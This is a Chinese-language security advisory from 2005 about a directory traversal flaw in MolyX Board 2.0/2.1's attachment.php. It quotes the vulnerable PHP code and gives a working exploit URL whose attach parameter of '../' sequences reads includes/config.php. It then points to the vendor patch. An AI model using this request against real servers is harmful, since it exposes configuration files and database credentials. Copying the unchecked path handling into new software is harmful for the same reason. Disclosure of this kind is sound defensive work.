MolyX Board原代码泄露漏洞
2005-08-28
系统编号:
WAVDB-00648
影响版本:
MolyX Board 2.0/2.1
程序介绍:
魔力论坛(MolyX Board) 是魔力系列Web应用软件产品之一,由魔力工作室(MolyX Studios) 经过数年的市场技术调研及学习研究,在融合了当今众多论坛程序技术和实践优点的基础上,针对中国人的使用习惯开发研制的一款功能强大、速度飞快、性能卓越、安全性极高的论坛系统。其采用PHP及MySql构建,整体架构采用最先进的面向对象思想,在功能、速度、性能、安全及开发理念和创新意识上均超越了目前国内外市场同类产品。魔力论坛推出的短短数月间,就获得了大量用户和业界专家的一致好评和认可,越来越多的用户选择了魔力论坛作为应用网站论坛社区的解决方案。
漏洞分析:
attachment.php缺乏对attach变量进行检查,导致远程攻击者可以构造这个变量访问该服务器上允许访问的存在的文件。
文件其中一段代码:
- function showattachment()
- {
- global $DB, $forums, $_INPUT, $bbuserinfo, $bboptions;
- $forums->noheader = 1;
- if (!$_INPUT['u'] OR !$_INPUT['attach']) {
- $forums->func->standard_error( cannotviewattach );
- }
- if (!$bbuserinfo['candownload']) {
- $forums->func->standard_error( cannotdownload );
- }
- $path = $bboptions['uploadfolder'] . '/' . implode('/', preg_split('//', intval($_INPUT['u']), -1, PREG_SPLIT_NO_EMPTY));
- $file = $path. / .$_INPUT['attach'];
- if ( file_exists( $file ) AND ( $forums->cache['attachmenttype'][ $_INPUT['extension'] ]['mimetype'] != ) ) {
- $DB->shutdown_query( UPDATE .TABLE_PREFIX. attachment SET counter=counter+1 WHERE attachmentid= .intval($_INPUT['id']). );
- @header('Cache-control: max-age=31536000');
- @header('Expires: ' . gmdate( D, d M Y H:i:s , TIMENOW + 31536000) . ' GMT');
- @header( 'Content-Type: '.$forums->cache['attachmenttype'][ $_INPUT['extension'] ]['mimetype'].'' );
- @header( 'Content-Disposition: inline; filename='.$_INPUT['filename'].'' );
- @header( 'Content-Disposition: inline; filename='.$_INPUT['filename'].'' );
- @header( 'Content-Length: '.(string)(filesize( $file ) ).'' );
- $fh = fopen( $file, 'rb' );
- fpassthru( $fh );
- @fclose( $fh );
- exit();
- } else {
- $forums->func->standard_error( cannotviewattach );
- }
- }
漏洞利用:
如果我们访问一个附件:
http://www.target.com/attachment.php?id=684&u=3096&extension=gif&attach=1105910809.gif&filename=1.gif
attachment.php就会服务器上的1105910809.gif文件的内容返回到浏览器上。
后面的filename只是上传时的文件名字。这个变量不用管,如果我们发送一个请求。构造attach变量为“./../../../../../../includes/config.php”:
http://www.target.com/attachment.php?id=684&u=3096&extension=gif&attach=./../../../../../../includes/config.php&filename=1.gif
attachment.php文件也会按照正常流程把config.php的内容输出到浏览器。“../”的个数视目录结构而定。
解决方案:
厂商补丁:
MolyX Board
--------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://www.molyx.com/
信息来源:
<*来源:
http://www.chinaitlab.com/www/news/article_show.asp?id=29953
*>